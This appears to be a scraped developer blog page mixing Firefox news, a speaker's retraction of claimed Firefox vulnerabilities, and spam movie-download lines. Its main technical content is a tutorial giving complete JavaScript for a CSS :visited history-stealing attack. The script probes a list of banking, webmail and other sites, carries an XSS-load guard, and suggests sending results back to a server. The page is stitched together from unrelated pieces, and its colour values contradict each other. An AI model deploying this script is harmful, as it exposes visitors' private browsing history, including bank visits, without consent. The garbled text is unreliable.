Apparently there was a serious bugs, something to do with canvas.drawImage,

The issue was that if the image was corrupted in some way, drawImage would still try to read data from it and display random bits of memory instead (oops).

download the the romantics movie

If you have no idea what this canvas is all about, don’t worry it’s in HTML 5 specification, so there are still view modern browser which support it. But this tutorial can be a good start to get to know it. And this demo from mozilla can show you how that canvas.drawImage really does.

I knew it, sooner or later somebody would make Google Reader searchable. Thanks to Raul Ochoa for creating a nice Greasemonkey script that mix Google Gears and Google Reader. Now, not only you can read Google Reader offline, you can search the old feed too.

But one thing for sure, i and maybe other thousand peoples out there has got it already. I downloaded it yesterday from one of its mirror. And after using it the whole days, i can only say this: go out and download it.

There are number of interesting features, especially for us as developer which are explained in detail here. Even Ilia has write it down some codes for us, using OpenSearch support that come with Firefox 2.0.

I think i’m going to have some fun with it for the next couple hours. I hope i can share it with you. Another class perhaps …

The release of Firefox 2 is coming up, and great things need to be celebrated. Thus two days ago, the firefoxparty website was released!

All crazy firefox hackers and fans are celebrating this events by helding many parties, including me (errr,although mine is a bit different :p).

So, if you’re interested to come, just check the schedule and your position, hit it here

Contact me if you’re interested.

www.ie7.com

A simple whois will tell you who made this site. Obviously, it wasn’t microsoft .. :p

The main purpose of our talk was to be humorous.

As part of our talk we mentioned that there was a previously known Firefox vulnerability that could result in a stack overflow ending up in remote code execution. However, the code we presented did not in fact do this, and I personally have not gotten it to result in code execution, nor do I know of anyone who has.

I have not succeeded in making this code do anything more than cause a crash and eat up system resources, and I certainly haven’t used it to take over anyone else’s computer and execute arbitrary code.

I do not have 30 undisclosed Firefox vulnerabilities, nor did I ever make this claim. I have no undisclosed Firefox vulnerabilities. The person who was speaking with me made this claim, and I honestly have no idea if he has them or not.

arthur download full film

something borrowed dvd download

I apologize to everyone involved, and I hope I have made everything as clear as possible.

Well, i think he made Firefox developer teams nuts chasing the imaginary bugs. That’s the good thing, it shows us that Firefox wouldn’t let any bugger boys strike their asses.

Go go firefox.

Tags: Joke

Well, that behaviour will be an advantage for people who wants to steal your browser history. Yeah, you got that, by detecting link color. I will show you how to do that in Mozilla Firefox. This short of hack is taken from Jeremiah Grossman blog with some changes i made.

First, we need to mark visited link with our own distinct color, for that we’ll use CSS,

<style type="text/css">
  a:visited { color: rgb(0,255,255) };
</style>

Now, any visited link will be marked in white.

Next, since this hack only works for mozila firefox, we need to detect user’s browser using this simple javascript,

var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

Create an array of popular websites that your visitor might have been visited as shown below. You can add more to the list if you like.

var websites = [
   "http://www.ngoprekweb.com/",
   "http://digg.com/",
   "http://login.yahoo.com/",
   "http://mail.google.com/",
   "http://mail.yahoo.com/",
   "http://reddit.com/",
   "http://www.amazon.com/",
   "http://www.blogger.com/",
   "http://www.bloglines.com/",
   "http://www.google.com/",
   "http://www.microsoft.com/",
];

Finally, loop through our website list above and create a fake anchor element to detect whether it has color that match our visited link color before, then print it out if they match.

   for (var i = 0; i < websites.length; i++) {
      var link = document.createElement("a");
      link.id = "id" + i;
      link.href = websites[i];
      link.innerHTML = websites[i];
      document.body.appendChild(link);
      var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
      document.body.removeChild(link);       

      // check for visited
      if (color == "rgb(255, 255, 255)") {
        document.write('' + websites[i] + '<br />');
      }
   }

That’s it. Now you can show your user where he/she has been. Usually you also need to prevent multiple XSS loads. And with additional AJAX you can also send this information back to your server. Ooops.

You can try this out by clicking here. Don’t worry, i won’t save any of your browser history.

Now, this is my complete source,

<html>
  <head>
    <title>Steal History</title>
    <style type="text/css">
      a:visited { color: rgb(255,255,255) };
    </style>
  </head>
  <body>

  <script language="javascript">
    var agent = navigator.userAgent.toLowerCase();
    var is_mozilla = (agent.indexOf("mozilla") != -1);

    // popular websites. Lookup if user has visited any.
    var websites = [
       "http://www.ngoprekweb.com/",
       "http://ajaxian.com/",
       "http://digg.com/",
       "http://english.aljazeera.net/HomePage",
       "http://ha.ckers.org",
       "http://ha.ckers.org/blog/",
       "http://jeremiahgrossman.blogspot.com/",
       "http://login.yahoo.com/",
       "http://mail.google.com/",
       "http://mail.yahoo.com/",
       "http://my.yahoo.com/",
       "http://reddit.com/",
       "http://seoblackhat.com",
       "http://slashdot.org/",
       "http://techfoolery.com/",
       "http://weblogs.asp.net/jezell/",
       "http://www.amazon.com/",
       "http://www.aol.com/",
       "http://www.bankofamerica.com/",
       "http://www.bankone.com/",
       "http://www.blackhat.com/",
       "http://www.blogger.com/",
       "http://www.bloglines.com/",
       "http://www.bofa.com/",
       "http://www.capitalone.com/",
       "http://www.cenzic.com",
       "http://www.cgisecurity.com",
       "http://www.chase.com/",
       "http://www.citibank.com/",
       "http://www.cnn.com/",
       "http://www.comerica.com/",
       "http://www.e-gold.com/",
       "http://www.ebay.com/",
       "http://www.etrade.com/",
       "http://www.expedia.com/",
       "http://www.google.com/",
       "http://www.hsbc.com/",
       "http://www.icq.com/",
       "http://www.jailbabes.com",
       "http://www.microsoft.com/",
       "http://www.msn.com/",
       "http://www.myspace.com/",
       "http://www.ntobjectives.com",
       "http://www.passport.net/",
       "http://www.paypal.com/",
       "http://www.sourceforge.net/",
       "http://www.spidynamics.com",
       "http://www.statefarm.com/",
       "http://www.usbank.com/",
       "http://www.wachovia.com/",
       "http://www.wamu.com/",
       "http://www.watchfire.com",
       "http://www.webappsec.org",
       "http://www.wellsfargo.com/",
       "http://www.whitehatsec.com",
       "http://www.xanga.com/",
       "http://www.yahoo.com/",
       "http://seoblackhat.com/",
       "http://www.alexa.com/",
       "http://www.youtube.com/",
       "https://banking.wellsfargo.com/",
       "https://commerce.blackhat.com/",
       "https://online.wellsfargo.com/",
    ];

    /* prevent multiple XSS loads */
    if (! document.getElementById('xss_flag')) {
       var d = document.createElement('div');
       d.id = 'xss_flag';
       document.body.appendChild(d);

       var d = document.createElement('table');
       d.border = 0;
       d.cellpadding = 5;
       d.cellspacing = 10;
       d.width = '90%';
       d.align = 'center';
       d.id = 'data';
       document.body.appendChild(d);

       document.write('');

       /* launch steal history */
       if (is_mozilla) {
        stealHistory();
       }
    }

    function stealHistory() {
       // loop through websites and check which ones have been visited
       for (var i = 0; i < websites.length; i++) {
        var link = document.createElement("a");
        link.id = "id" + i;
        link.href = websites[i];
        link.innerHTML = websites[i];
        document.body.appendChild(link);
        var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
        document.body.removeChild(link);       

        // check for visited
        if (color == "rgb(255, 255, 255)") {
          document.write('' + websites[i] + '<br />');
        } // end visited check

       } // end visited website loop

    } // end stealHistory method

    </script>

  </body>
</html>